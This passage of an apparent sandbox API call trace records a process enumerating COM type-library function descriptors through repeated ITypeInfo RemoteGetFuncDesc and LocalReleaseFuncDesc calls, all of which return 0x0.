ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.483] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.483] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.484] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.484] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.485] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.485] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.485] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.485] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.485] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.485] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.486] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.486] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.487] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.487] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.488] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.488] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x126d48, pDummy=0x140 | out: ppFuncDesc=0x126d48, pDummy=0x140) returned 0x0 [0053.489] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.489] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x126d48, pDummy=0xa0 | out: ppFuncDesc=0x126d48, pDummy=0xa0) returned 0x0 [0053.489] 